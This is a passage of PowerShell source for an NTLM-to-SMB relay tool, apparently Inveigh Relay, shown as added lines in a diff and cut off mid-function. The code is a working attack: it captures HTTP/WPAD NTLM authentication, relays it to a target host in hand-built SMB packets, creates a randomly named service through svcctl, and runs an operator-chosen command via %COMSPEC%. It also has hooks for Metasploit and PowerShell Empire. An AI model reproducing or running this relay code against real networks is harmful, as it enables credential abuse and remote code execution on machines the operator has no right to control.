[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$SMBRelayTarget) +{ + Throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" +} + +if(!$SMBRelayCommand) +{ + Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" +} + +if(!$OutputDir) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $OutputDir +} + +if(!$inveigh) +{ + $global:inveigh = [hashtable]::Synchronized(@{}) + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = @() + $inveigh.SMBRelay_failed_list = @() +} + +if($inveigh.HTTP_listener.IsListening) +{ + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() +} + +if(!$inveigh.running) +{ + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.certificate_application_ID = $HTTPSCertAppID + $inveigh.certificate_thumbprint = $HTTPSCertThumbprint + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.console_output = $false + $inveigh.console_input = $true + $inveigh.file_output = $false + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $Inveigh.challenge = $Challenge +} + +$inveigh.relay_running = $true +$inveigh.SMB_relay_active_step = 0 +$inveigh.SMB_relay = $true + +if($StatusOutput -eq 'y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive Powershell +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages +if(!$inveigh.running) +{ + $inveigh.status_queue.add("Inveigh Relay started at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay started")]) |Out-Null + + if($HTTP -eq 'y') + { + $inveigh.HTTP = $true + $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null + } + else + { + $inveigh.HTTP = $false + $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null + } + + if($HTTPS -eq 'y') + { + try + { + $inveigh.HTTPS = $true + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 + $certificate.Import($PWD.Path + "\Inveigh.pfx") + $certificate_store.Add($certificate) + $certificate_store.Close() + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null + $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null + } + catch + { + $certificate_store.Close() + $HTTPS="N" + $inveigh.HTTPS = $false + $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null + } + } + else + { + $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null + } + + if($Challenge) + { + $Inveigh.challenge = $challenge + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } + + if($MachineAccounts -eq 'n') + { + $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null + } + + $inveigh.status_queue.add("Force WPAD Authentication = $WPADAuth")|Out-Null + + if($ConsoleOutput -eq 'y') + { + $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null + $inveigh.console_output = $true + } + else + { + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null + } + else + { + $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null + } + } + + if($FileOutput -eq 'y') + { + $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null + $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null + $inveigh.file_output = $true + } + else + { + $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null + } + + if($RunTime -eq 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null + } + elseif($RunTime -gt 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null + } +} + +$inveigh.status_queue.add("SMB Relay Enabled") |Out-Null +$inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null + +if($SMBRelayUsernames) +{ + if($SMBRelayUsernames.Count -eq 1) + { + $inveigh.status_queue.add("SMB Relay Username = " + $SMBRelayUsernames -join ",")|Out-Null + } + else + { + $inveigh.status_queue.add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",")|Out-Null + } +} + +if($SMBRelayAutoDisable -eq 'y') +{ + $inveigh.status_queue.add("SMB Relay Auto Disable Enabled")|Out-Null +} +else +{ + $inveigh.status_queue.add("SMB Relay Auto Disable Disabled")|Out-Null +} + +if($SMBRelayNetworkTimeout) +{ + $inveigh.status_queue.add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds")|Out-Null +} + +if($ShowHelp -eq 'y') +{ + $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null + $inveigh.status_queue.add("Run Stop-Inveigh to stop Inveigh")|Out-Null + + if($inveigh.console_output) + { + $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null + } +} + +if($inveigh.status_output) +{ + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch ($inveigh.status_queue[0]) + { + "Run Stop-Inveigh to stop Inveigh" + { + write-warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } +} + +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |Select-Object -expand id +$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) +$process_ID = $process_ID -replace "-00-00","" +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + Function DataToUInt16($field) + { + [Array]::Reverse($field) + return [BitConverter]::ToUInt16($field,0) + } + + Function DataToUInt32($field) + { + [Array]::Reverse($field) + return [BitConverter]::ToUInt32($field,0) + } + + Function DataLength + { + param ([int]$length_start,[byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + Function DataToString + { + param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } +} + +# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response +$SMB_NTLM_functions_scriptblock = +{ + Function SMBNTLMChallenge + { + param ([byte[]]$payload_bytes) + + $payload = [System.BitConverter]::ToString($payload_bytes) + $payload = $payload -replace "-","" + $NTLM_index = $payload.IndexOf("4E544C4D53535000") + + if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) + } + + return $NTLM_challenge + } +} + +# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target +$SMB_relay_challenge_scriptblock = +{ + Function SMBRelayChallenge + { + param ($SMB_relay_socket,$HTTP_request_bytes) + + if ($SMB_relay_socket) + { + $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() + } + + $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 + + $i = 0 + + :SMB_relay_challenge_loop while ($i -lt 2) + { + switch ($i) + { + 0 { + [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $inveigh.process_ID_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00) + } + + 1 { + $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32) + $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22) + $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2) + $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) + $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34)) + $SMB_blob_length = $SMB_blob_length -replace "-00-00","" + $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45)) + $SMB_byte_count = $SMB_byte_count -replace "-00-00","" + $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104)) + $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" + $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_netbios_length) + + [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` + + $SMB_netbios_length` + + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $inveigh.process_ID_bytes` + + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + + $SMB_blob_length` + + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + + $SMB_byte_count` + + (0x60)` + + $SMB_length_1` + + (0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0)` + + $SMB_length_2` + + (0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a,0xa2)` + + $SMB_length_3` + + (0x04)` + + $SMB_NTLMSSP_length` + + $HTTP_request_bytes` + + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) + } + } + + $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length) + $SMB_relay_challenge_stream.Flush() + + if($SMBRelayNetworkTimeout) + { + $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout + $SMB_relay_challenge_stopwatch = [diagnostics.stopwatch]::StartNew() + + while(!$SMB_relay_challenge_stream.DataAvailable) + { + if($SMB_relay_challenge_stopwatch.elapsed -ge $SMB_relay_challenge_timeout) + { + $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + break SMB_relay_challenge_loop + } + } + } + + $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length) + + $i++ + } + + return $SMB_relay_challenge_bytes + } +} + +# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target +$SMB_relay_response_scriptblock = +{ + Function SMBRelayResponse + { + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) + + $SMB_relay_response_bytes = New-Object System.Byte[] 1024 + + if ($SMB_relay_socket) + { + $SMB_relay_response_stream = $SMB_relay_socket.GetStream() + } + + $SMB_length_1 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 12)) + $SMB_length_1 = $SMB_length_1 -replace "-00-00","" + $SMB_length_1 = $SMB_length_1.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_2 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 8)) + $SMB_length_2 = $SMB_length_2 -replace "-00-00","" + $SMB_length_2 = $SMB_length_2.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_3 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 4)) + $SMB_length_3 = $SMB_length_3 -replace "-00-00","" + $SMB_length_3 = $SMB_length_3.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_NTLMSSP_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) + $SMB_blob_length = $SMB_blob_length -replace "-00-00","" + $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27)) + $SMB_byte_count = $SMB_byte_count -replace "-00-00","" + $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) + $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" + $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_length_1) + [array]::Reverse($SMB_length_2) + [array]::Reverse($SMB_length_3) + [array]::Reverse($SMB_NTLMSSP_length) + [array]::Reverse($SMB_netbios_length) + + $j = 0 + + :SMB_relay_response_loop while ($j -lt 1) + { + [Byte[]] $SMB_relay_response_send = (0x00,0x00)` + + $SMB_netbios_length` + + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + + $SMB_blob_length` + + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + + $SMB_byte_count` + + (0xa1,0x82)` + + $SMB_length_1` + + (0x30,0x82)` + + $SMB_length_2` + + (0xa2,0x82)` + + $SMB_length_3` + + (0x04,0x82)` + + $SMB_NTLMSSP_length` + + $HTTP_request_bytes` + + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) + + $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) + $SMB_relay_response_stream.Flush() + + if($SMBRelayNetworkTimeout) + { + $SMB_relay_response_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout + $SMB_relay_response_stopwatch = [diagnostics.stopwatch]::StartNew() + + while(!$SMB_relay_response_stream.DataAvailable) + { + if($SMB_relay_response_stopwatch.elapsed -ge $SMB_relay_response_timeout) + { + $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) + $inveigh.SMB_relay_active_step = 0 + $SMB_relay_socket.Close() + break :SMB_relay_response_loop + } + } + } + + $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length) + + $inveigh.SMB_relay_active_step = 2 + + $j++ + + } + return $SMB_relay_response_bytes + } +} + +# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session +$SMB_relay_execute_scriptblock = +{ + Function SMBRelayExecute + { + param ($SMB_relay_socket,$SMB_user_ID) + + if ($SMB_relay_socket) + { + $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() + } + + $SMB_relay_failed = $false + $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) + $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00' + [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" + [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object { $SMB_relay_command += "{0:X2}-00-" -f $_ } + + if([bool]($SMBRelayCommand.length%2)) + { + $SMB_relay_command += '00-00' + } + else + { + $SMB_relay_command += '00-00-00-00' + } + + [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237) + $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] + $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63) + $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] + $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2) + + $k = 0 + + :SMB_relay_execute_loop while ($k -lt 12) + { + switch ($k) + { + + 0 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)` + + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00) + } + + 1 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)` + + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00) + } + + 2 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)` + + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)` + + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00) + + $SMB_multiplex_id = (0x05) + } + + 3 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 4 { + [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)` + + (0x00,0x00,0x00,0x5c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + + (0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)` + + (0x00,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + + $SMB_service_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00) + + $SMB_multiplex_id = (0x07) + } + + 5 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 6 { + [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)` + + $SMB_service_data_length_bytes` + + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)` + + $SMB_service_byte_count_bytes` + + (0x00,0x00)` + + $SMB_service_byte_count_bytes` + + (0x3f,0x00,0x00,0x00,0x00,0x00)` + + $SMB_service_byte_count_bytes` + + (0x05,0x00,0x00,0x03,0x10)` + + (0x00,0x00,0x00)` + + $SMB_service_byte_count_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00)` + + $SMB_context_handler` + + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + + $SMB_service_bytes` + + (0x00,0x00)` + + $SMB_referent_ID_bytes` + + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + + $SMB_service_bytes` + + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + + $SMB_relay_command_length_bytes` + + (0x00,0x00,0x00,0x00)` + + $SMB_relay_command_length_bytes` + + $SMB_relay_command_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) + + $SMB_multiplex_id = (0x09) + } + + 7 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + + 8 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)` + + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)` + + $SMB_context_handler` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) + } + + 9 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 10 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $inveigh.process_ID_bytes` + + $SMB_user_ID` + + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)` + + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)` + + $SMB_context_handler + } + 11 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + } + + $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length) + $SMB_relay_execute_stream.Flush() + + 